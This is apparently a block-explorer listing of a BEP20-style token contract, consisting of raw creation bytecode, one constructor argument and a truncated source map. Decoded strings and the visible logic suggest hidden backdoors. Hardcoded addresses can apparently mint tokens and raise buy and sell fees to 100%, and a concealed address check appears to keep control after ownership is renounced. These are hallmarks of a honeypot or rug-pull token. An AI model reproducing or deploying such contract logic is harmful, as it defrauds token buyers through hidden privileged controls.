fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290613d37565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561103a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103190613da3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090613e0f565b60405180910390fd5b60006110d360646110c5600d54866130c190919063ffffffff16565b61310590919063ffffffff16565b905060006110ea828561312790919063ffffffff16565b905061113e84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112739190613a4e565b60405180910390a3600082111561137f576112d682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113769190613a4e565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561145757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561164d576114eb84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516116449190613a4e565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ba57600080fd5b60648211156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613c36565b60405180910390fd5b6064811115611742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173990613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611781929190613cc2565b60405180910390a15050565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061185e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561185d575061182d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61186757600080fd5b6118718282613172565b5050565b60008054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e257600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a085750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611a0757506119d7612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611a1157600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7657600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b935750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b925750611b62612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b9c57600080fd5b611ba6338361332d565b60019050919050565b6000611bb96134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b611bfa33836134fa565b60019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611d1a5750611cea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611d2457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e4157600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b1ea3f9dd39486fb87d69d43c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1d57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60028054611f7490613bb9565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa090613bb9565b8015611fed5780601f10611fc257610100808354040283529160200191611fed565b820191906000526020600020905b815481529060010190602001808311611fd057829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205157600080fd5b61205b3383612ef9565b60019050919050565b600034116120a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209e90613ea1565b60405180910390fd5b60003490506000600c5411156123655760006120e160646120d3600c54856130c190919063ffffffff16565b61310590919063ffffffff16565b905060006120f8828461312790919063ffffffff16565b905061216e8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122529190613a4e565b60405180910390a3600082111561235e576122b582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123559190613a4e565b60405180910390a35b50506124c6565b6123d98160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124bd9190613a4e565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561251757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361255057600080fd5b6125a282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126d79190613a4e565b60405180910390a36001905092915050565b6126f16134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461272857600080fd5b606482111561276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390613c36565b60405180910390fd5b60648111156127b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a790613ca2565b60405180910390fd5b6127ba8282613683565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516127eb929190613cc2565b60405180910390a15050565b6127ff6134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461283657600080fd5b6128408282613695565b5050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806129205750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561291f57506128ef612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61292957600080fd5b612933338361332d565b60019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a7e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612a7d5750612a4d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612a8757600080fd5b6064821115612acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac290613c36565b60405180910390fd5b6064811115612b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0690613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612b4e929190613cc2565b60405180910390a15050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf990613d37565b60405180910390fd5b6000612c2c6064612c1e600d54856130c190919063ffffffff16565b61310590919063ffffffff16565b90506000612c43828461312790919063ffffffff16565b9050612c9783600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dcc9190613a4e565b60405180910390a36000821115612ed857612e2f82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ecf9190613a4e565b60405180910390a35b505050565b600073e4c2caabc35480c1e8e735fe7882204cea5b60c5905090565b612f01612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603612f3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9e90613f0d565b60405180910390fd5b612fbc8160035461314a90919063ffffffff16565b60038190555061301481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130b59190613a4e565b60405180910390a35050565b60008083036130d357600090506130ff565b600082846130e19190613f5c565b90508284826130f09190613fcd565b146130fa57600080fd5b809150505b92915050565b600080821161311357600080fd5b818361311f9190613fcd565b905092915050565b60008282111561313657600080fd5b81836131429190613ffe565b905092915050565b60008082846131599190614032565b90508381101561316857600080fd5b8091505092915050565b61317a612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036131b157600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132009190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132bc9190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133219190613a4e565b60405180910390a35050565b613335612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361336c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036133db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d290613f0d565b60405180910390fd5b6133f08160035461314a90919063ffffffff16565b60038190555061344881600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134e99190613a4e565b60405180910390a35050565b600090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613560906140b2565b60405180910390fd5b61357e8160035461314a90919063ffffffff16565b6003819055506135d681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136779190613a4e565b60405180910390a35050565b81600c8190555080600d819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136e49190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137499190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137a09190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138059190613a4e565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561384b578082015181840152602081019050613830565b60008484015250505050565b6000601f19601f8301169050919050565b600061387382613811565b61387d818561381c565b935061388d81856020860161382d565b61389681613857565b840191505092915050565b600060208201905081810360008301526138bb8184613868565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006138f3826138c8565b9050919050565b613903816138e8565b811461390e57600080fd5b50565b600081359050613920816138fa565b92915050565b6000819050919050565b61393981613926565b811461394457600080fd5b50565b60008135905061395681613930565b92915050565b60008060408385031215613973576139726138c3565b5b600061398185828601613911565b925050602061399285828601613947565b9150509250929050565b60008115159050919050565b6139b18161399c565b82525050565b60006020820190506139cc60008301846139a8565b92915050565b600080604083850312156139e9576139e86138c3565b5b60006139f785828601613947565b9250506020613a0885828601613947565b9150509250929050565b600060208284031215613a2857613a276138c3565b5b6000613a3684828501613947565b91505092915050565b613a4881613926565b82525050565b6000602082019050613a636000830184613a3f565b92915050565b600080600060608486031215613a8257613a816138c3565b5b6000613a9086828701613911565b9350506020613aa186828701613911565b9250506040613ab286828701613947565b9150509250925092565b600060ff82169050919050565b613ad281613abc565b82525050565b6000602082019050613aed6000830184613ac9565b92915050565b600060208284031215613b0957613b086138c3565b5b6000613b1784828501613911565b91505092915050565b613b29816138e8565b82525050565b6000602082019050613b446000830184613b20565b92915050565b60008060408385031215613b6157613b606138c3565b5b6000613b6f85828601613911565b9250506020613b8085828601613911565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613bd157607f821691505b602082108103613be457613be3613b8a565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000613c20601a8361381c565b9150613c2b82613bea565b602082019050919050565b60006020820190508181036000830152613c4f81613c13565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000613c8c601b8361381c565b9150613c9782613c56565b602082019050919050565b60006020820190508181036000830152613cbb81613c7f565b9050919050565b6000604082019050613cd76000830185613a3f565b613ce46020830184613a3f565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000613d2160148361381c565b9150613d2c82613ceb565b602082019050919050565b60006020820190508181036000830152613d5081613d14565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000613d8d60168361381c565b9150613d9882613d57565b602082019050919050565b60006020820190508181036000830152613dbc81613d80565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000613df960198361381c565b9150613e0482613dc3565b602082019050919050565b60006020820190508181036000830152613e2881613dec565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613e8b60238361381c565b9150613e9682613e2f565b604082019050919050565b60006020820190508181036000830152613eba81613e7e565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613ef7601f8361381c565b9150613f0282613ec1565b602082019050919050565b60006020820190508181036000830152613f2681613eea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613f6782613926565b9150613f7283613926565b9250828202613f8081613926565b91508282048414831517613f9757613f96613f2d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613926565b9150613fe383613926565b925082613ff357613ff2613f9e565b5b828204905092915050565b600061400982613926565b915061401483613926565b925082820390508181111561402c5761402b613f2d565b5b92915050565b600061403d82613926565b915061404883613926565b92508282019050808211156140605761405f613f2d565b5b92915050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b600061409c60118361381c565b91506140a782614066565b602082019050919050565b600060208201905081810360008301526140cb8161408f565b905091905056fea264697066735822122083eccd017d0044da7681511cc19323ff31d84ff9714a28016cb762135ddfaa3b64736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000a528e781c8a424e38a18ac5b120c7b70ce979ed4
-----Decoded View---------------
Arg [0] : _feeAdmin (address): 0xA528e781C8a424e38a18ac5B120C7b70cE979ed4
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a528e781c8a424e38a18ac5b120c7b70ce979ed4
Deployed Bytecode Sourcemap
733:14742:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;829:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5906:224;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10672:559;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6740:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;906:68;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12134:405;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7517:1172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1345:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13403:367;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6606:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;794:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11322:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11244:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1315:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13785:361;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9008:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3823:359;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1163:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1003:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10505:144;;;;;;;;;;;;;:::i;:::-;;9978:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1253:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2927:615;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;869:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3655:155;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12552:836;;;:::i;:::-;;1963:615;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5571:322;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10359:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6153:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1219:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1191:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1056:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9621:344;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1282:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14159:653;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;829:31;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5906:224::-;5973:12;6034:6;6000:9;:21;6010:10;6000:21;;;;;;;;;;;;;;;:31;6022:8;6000:31;;;;;;;;;;;;;;;:40;;;;6079:8;6058:38;;6067:10;6058:38;;;6089:6;6058:38;;;;;;:::i;:::-;;;;;;;;6116:4;6109:11;;5906:224;;;;:::o;10672:559::-;11826:49;11523:504;;:10;:504;;;:576;;;;12065:5;;;;;;;;;;;12051:19;;:10;:19;;;:47;;;;;12088:10;:8;:10::i;:::-;12074:24;;:10;:24;;;;12051:47;11523:576;11514:587;;;;;;10780:3:::1;10767:9;:16;;10759:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;10849:3;10835:10;:17;;10827:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;10906:9;10897:6;:18;;;;10938:10;10928:7;:20;;;;10966:34;10978:9;10989:10;10966:34;;;;;;;:::i;:::-;;;;;;;;10672:559:::0;;:::o;6740:128